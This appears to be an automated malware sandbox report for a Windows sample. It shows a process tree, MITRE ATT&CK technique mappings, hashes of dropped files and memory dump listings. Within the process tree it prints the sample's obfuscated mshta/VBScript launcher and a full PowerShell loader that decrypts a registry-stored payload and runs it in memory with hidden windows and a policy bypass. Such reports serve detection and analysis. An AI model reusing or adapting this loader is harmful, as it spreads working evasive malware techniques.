PID 1648 wrote to memory of 2700	1648	$sxr-powershell.exe	46
PID 1648 wrote to memory of 2712	1648	$sxr-powershell.exe	47
PID 1648 wrote to memory of 2728	1648	$sxr-powershell.exe	48
PID 1648 wrote to memory of 2940	1648	$sxr-powershell.exe	49
PID 1648 wrote to memory of 2956	1648	$sxr-powershell.exe	50
PID 1648 wrote to memory of 2980	1648	$sxr-powershell.exe	51
PID 1648 wrote to memory of 668	1648	$sxr-powershell.exe	52
PID 1648 wrote to memory of 3184	1648	$sxr-powershell.exe	54
PID 1648 wrote to memory of 3420	1648	$sxr-powershell.exe	55
PID 1648 wrote to memory of 3444	1648	$sxr-powershell.exe	56
PID 1648 wrote to memory of 3612	1648	$sxr-powershell.exe	57
PID 1648 wrote to memory of 3792	1648	$sxr-powershell.exe	58
PID 1648 wrote to memory of 3944	1648	$sxr-powershell.exe	60
PID 1648 wrote to memory of 4100	1648	$sxr-powershell.exe	62
PID 1648 wrote to memory of 1756	1648	$sxr-powershell.exe	65
PID 1648 wrote to memory of 1260	1648	$sxr-powershell.exe	66
PID 1648 wrote to memory of 4540	1648	$sxr-powershell.exe	68
PID 1648 wrote to memory of 1960	1648	$sxr-powershell.exe	69
PID 1648 wrote to memory of 2740	1648	$sxr-powershell.exe	70
PID 1648 wrote to memory of 2020	1648	$sxr-powershell.exe	71
PID 1648 wrote to memory of 396	1648	$sxr-powershell.exe	72

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1168
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:668
- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-qMfAojYxqLWMOUptcaej4312:bIIpuVPX=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-qMfAojYxqLWMOUptcaej4312:bIIpuVPX=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4728
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2776
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:UbrazmCGEu; "
      4⤵
      PID:1672
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
      4⤵
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1648
    - - C:\Windows\$sxr-cmd.exe
        
        "C:\Windows\$sxr-cmd.exe" /C set "dLJUAFdplg=[System.Diagnostics.Process]::GetProcessById(1648).WaitForExit();[System.Threading.Thread]::Sleep(5000); function hJpoJ($ECmsQ){ $EMVTZ=[System.Security.Cryptography.Aes]::Create(); $EMVTZ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $EMVTZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $EMVTZ.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('iBoQFHiHG1BAirFPr93+1n801U+yFKIAHWPUKV5rpd4='); $EMVTZ.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('COQwj0SAG9rLY0eL0pHcXw=='); $wMkwU=$EMVTZ.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $OIRej=$wMkwU.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($ECmsQ, 0, $ECmsQ.Length); $wMkwU.Dispose(); $EMVTZ.Dispose(); $OIRej;}function vwZvz($ECmsQ){ $MFVle=New-Object System.IO.MemoryStream(,$ECmsQ); $feHEP=New-Object System.IO.MemoryStream; Invoke-Expression '$gGcHO @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$MFVle,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $gGcHO.CopyTo($feHEP); $gGcHO.Dispose(); $MFVle.Dispose(); $feHEP.Dispose(); $feHEP.ToArray();}function SwHGh($ECmsQ){ $OIRej = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($ECmsQ); $OIRej = hJpoJ($OIRej); $OIRej = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($OIRej); return $OIRej;}function execute_function($ECmsQ,$fKWeS){ $aMkTh = @( '$bRVKv = [System.@R@e@f@l@e@c@t@i@o@[email protected]]::@L@o@a@d@([byte[]]$ECmsQ);'.Replace('@', ''), '$omcSF = $bRVKv.EntryPoint;', '$omcSF.Invoke($null, $fKWeS);' ); foreach ($ydoBm in $aMkTh) { Invoke-Expression $ydoBm };}$wzwPm = SwHGh('Z56PAjr74ENxLrnrnkwiFA==');$beSbt = SwHGh('uGoO8IN6UGomrBzhUsZRJgYZpHVhFjBC8O7CBIEcjpY=');$rxVkL = SwHGh('9Ee9Vw1fv0F+yzNGJQC+uA==');$uNrZb = SwHGh('I7gCTLRdEEFvSPY946lX3Q==');if (@(get-process -ea silentlycontinue $uNrZb).count -gt 1) {exit};$ShdWQ = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($wzwPm).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($beSbt);$gZoJf=vwZvz (hJpoJ ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($ShdWQ)));execute_function $gZoJf (,[string[]] ($rxVkL));" & echo Invoke-Expression $env:dLJUAFdplg; | C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass > nul
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        
        PID:2896
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:dLJUAFdplg; "
        6⤵
        
        PID:2724
      - C:\Windows\$sxr-powershell.exe
        
        C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
        6⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1456
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1500

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1792

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1716

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2108

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2660

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2956

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3420

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:VINrjdIMAm; "
    3⤵
    PID:3688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Deletes itself
    - Impair Defenses: Safe Mode Boot
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3612

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3792

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3944

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:1756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1960

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2740

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:396

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1612

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:228

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4716

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1344

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:5016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Impair Defenses

T1562

Safe Mode Boot

T1562.009

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uv1jqpap.irk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Windows\$sxr-powershell.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/380-105-0x000002DCD79E0000-0x000002DCD7A09000-memory.dmp

Filesize
164KB

Download
memory/380-103-0x00007FFF26690000-0x00007FFF266A0000-memory.dmp

Filesize
64KB

Download
memory/380-104-0x000002DCD79E0000-0x000002DCD7A09000-memory.dmp

Filesize
164KB

Download
memory/672-93-0x000001F16B0E0000-0x000001F16B109000-memory.dmp

Filesize
164KB

Download
memory/672-92-0x000001F16B0E0000-0x000001F16B109000-memory.dmp

Filesize
164KB

Download
memory/672-91-0x00007FFF26690000-0x00007FFF266A0000-memory.dmp

Filesize
64KB

Download
memory/672-90-0x000001F16B0E0000-0x000001F16B109000-memory.dmp

Filesize
164KB

Download
memory/672-89-0x000001F16B0B0000-0x000001F16B0D2000-memory.dmp

Filesize
136KB

Download
memory/740-110-0x000002E98DFC0000-0x000002E98DFE9000-memory.dmp

Filesize
164KB

Download
memory/740-111-0x000002E98DFC0000-0x000002E98DFE9000-memory.dmp

Filesize
164KB

Download
memory/740-109-0x00007FFF26690000-0x00007FFF266A0000-memory.dmp

Filesize
64KB

Download
memory/960-98-0x000001DF070D0000-0x000001DF070F9000-memory.dmp

Filesize
164KB

Download
memory/960-97-0x00007FFF26690000-0x00007FFF266A0000-memory.dmp

Filesize
64KB

Download
memory/960-99-0x000001DF070D0000-0x000001DF070F9000-memory.dmp

Filesize
164KB

Download
memory/1004-115-0x00007FFF26690000-0x00007FFF266A0000-memory.dmp

Filesize
64KB

Download
memory/1004-117-0x000002363CF30000-0x000002363CF59000-memory.dmp

Filesize
164KB

Download
memory/1004-116-0x000002363CF30000-0x000002363CF59000-memory.dmp

Filesize
164KB

Download
memory/1088-121-0x00007FFF26690000-0x00007FFF266A0000-memory.dmp

Filesize
64KB

Download
memory/1088-122-0x000001C85ED40000-0x000001C85ED69000-memory.dmp

Filesize
164KB

Download
memory/1088-123-0x000001C85ED40000-0x000001C85ED69000-memory.dmp

Filesize
164KB

Download
memory/1104-128-0x000001C5F1090000-0x000001C5F10B9000-memory.dmp

Filesize
164KB

Download
memory/1104-127-0x00007FFF26690000-0x00007FFF266A0000-memory.dmp

Filesize
64KB

Download
memory/1104-129-0x000001C5F1090000-0x000001C5F10B9000-memory.dmp

Filesize
164KB

Download
memory/1168-134-0x000001BAFDD40000-0x000001BAFDD69000-memory.dmp

Filesize
164KB

Download
memory/1168-135-0x000001BAFDD40000-0x000001BAFDD69000-memory.dmp

Filesize
164KB

Download
memory/1168-133-0x00007FFF26690000-0x00007FFF266A0000-memory.dmp

Filesize
64KB

Download
memory/1648-72-0x00007FFF66610000-0x00007FFF66805000-memory.dmp

Filesize
2.0MB

Download
memory/1648-81-0x000002007F400000-0x000002007F46A000-memory.dmp

Filesize
424KB

Download
memory/1648-495-0x000002007F8E0000-0x000002007F91C000-memory.dmp

Filesize
240KB

Download
memory/1648-86-0x0000000180000000-0x0000000180007000-memory.dmp

Filesize
28KB

Download
memory/1648-475-0x000002007F940000-0x000002007F9F2000-memory.dmp

Filesize
712KB

Download
memory/1648-480-0x000002007F840000-0x000002007F8E2000-memory.dmp

Filesize
648KB

Download
memory/1648-478-0x000002007FCC0000-0x000002007FE82000-memory.dmp

Filesize
1.8MB

Download
memory/1648-69-0x000002007CBF0000-0x000002007D28C000-memory.dmp

Filesize
6.6MB

Download
memory/1648-70-0x000002007D290000-0x000002007D978000-memory.dmp

Filesize
6.9MB

Download
memory/1648-473-0x000002007F7F0000-0x000002007F840000-memory.dmp

Filesize
320KB

Download
memory/1648-71-0x00007FFF65B50000-0x00007FFF65C0E000-memory.dmp

Filesize
760KB

Download
memory/1648-73-0x000002005A230000-0x000002005A236000-memory.dmp

Filesize
24KB

Download
memory/1648-74-0x0000020074630000-0x0000020074636000-memory.dmp

Filesize
24KB

Download
memory/1648-75-0x000002007DE80000-0x000002007E3C8000-memory.dmp

Filesize
5.3MB

Download
memory/1648-76-0x000002007E3E0000-0x000002007EB84000-memory.dmp

Filesize
7.6MB

Download
memory/1648-78-0x000002007EF10000-0x000002007EFC2000-memory.dmp

Filesize
712KB

Download
memory/1648-77-0x000002007EB80000-0x000002007EF08000-memory.dmp

Filesize
3.5MB

Download
memory/1648-82-0x000002007F470000-0x000002007F4B0000-memory.dmp

Filesize
256KB

Download
memory/3024-30-0x0000024F40BF0000-0x0000024F40BF6000-memory.dmp

Filesize
24KB

Download
memory/3024-20-0x00007FFF48020000-0x00007FFF48AE1000-memory.dmp

Filesize
10.8MB

Download
memory/3024-34-0x0000024F6B5C0000-0x0000024F6B5F6000-memory.dmp

Filesize
216KB

Download
memory/3024-35-0x0000024F6B600000-0x0000024F6B658000-memory.dmp

Filesize
352KB

Download
memory/3024-33-0x0000024F6B510000-0x0000024F6B5C2000-memory.dmp

Filesize
712KB

Download
memory/3024-32-0x0000024F6A8F0000-0x0000024F6B510000-memory.dmp

Filesize
12.1MB

Download
memory/3024-31-0x0000024F6A8B0000-0x0000024F6A8EE000-memory.dmp

Filesize
248KB

Download
memory/3024-43-0x00007FFF48020000-0x00007FFF48AE1000-memory.dmp

Filesize
10.8MB

Download
memory/3024-29-0x0000024F40C10000-0x0000024F40C18000-memory.dmp

Filesize
32KB

Download
memory/3024-28-0x0000024F3E500000-0x0000024F3E506000-memory.dmp

Filesize
24KB

Download
memory/3024-27-0x0000024F58F50000-0x0000024F58FA8000-memory.dmp

Filesize
352KB

Download
memory/3024-26-0x0000024F40C80000-0x0000024F40CDE000-memory.dmp

Filesize
376KB

Download
memory/3024-25-0x0000024F40C00000-0x0000024F40C06000-memory.dmp

Filesize
24KB

Download
memory/3024-24-0x0000024F3E4E0000-0x0000024F3E502000-memory.dmp

Filesize
136KB

Download
memory/3024-23-0x0000024F6A770000-0x0000024F6A86C000-memory.dmp

Filesize
1008KB

Download
memory/3024-22-0x00007FFF48020000-0x00007FFF48AE1000-memory.dmp

Filesize
10.8MB

Download
memory/3024-21-0x00007FFF48020000-0x00007FFF48AE1000-memory.dmp

Filesize
10.8MB

Download
memory/3024-80-0x00007FFF48020000-0x00007FFF48AE1000-memory.dmp

Filesize
10.8MB

Download
memory/3024-19-0x00007FFF48023000-0x00007FFF48025000-memory.dmp

Filesize
8KB

Download
memory/3024-18-0x00007FFF66610000-0x00007FFF66805000-memory.dmp

Filesize
2.0MB

Download
memory/3024-17-0x00007FFF65B50000-0x00007FFF65C0E000-memory.dmp

Filesize
760KB

Download
memory/3024-16-0x0000024F69A80000-0x0000024F6A56C000-memory.dmp

Filesize
10.9MB

Download
memory/3024-15-0x0000024F68FE0000-0x0000024F69A80000-memory.dmp

Filesize
10.6MB

Download
memory/3024-14-0x0000024F40D00000-0x0000024F40D76000-memory.dmp

Filesize
472KB

Download
memory/3024-13-0x0000024F40C30000-0x0000024F40C74000-memory.dmp

Filesize
272KB

Download
memory/3024-12-0x00007FFF48020000-0x00007FFF48AE1000-memory.dmp

Filesize
10.8MB

Download
memory/3024-11-0x00007FFF48020000-0x00007FFF48AE1000-memory.dmp

Filesize
10.8MB

Download
memory/3024-0-0x00007FFF48023000-0x00007FFF48025000-memory.dmp

Filesize
8KB

Download
memory/3024-36-0x0000024F58FB0000-0x0000024F58FDE000-memory.dmp

Filesize
184KB

Download
memory/3024-37-0x00007FF68F590000-0x00007FF68F601000-memory.dmp

Filesize
452KB

Download
memory/3024-39-0x0000024F40CF0000-0x0000024F40CF8000-memory.dmp

Filesize
32KB

Download
memory/3024-10-0x0000024F40850000-0x0000024F40872000-memory.dmp

Filesize
136KB

Download
memory/3024-40-0x0000000180000000-0x0000000180007000-memory.dmp

Filesize
28KB

Download
memory/3024-50-0x00007FFF48020000-0x00007FFF48AE1000-memory.dmp

Filesize
10.8MB

Download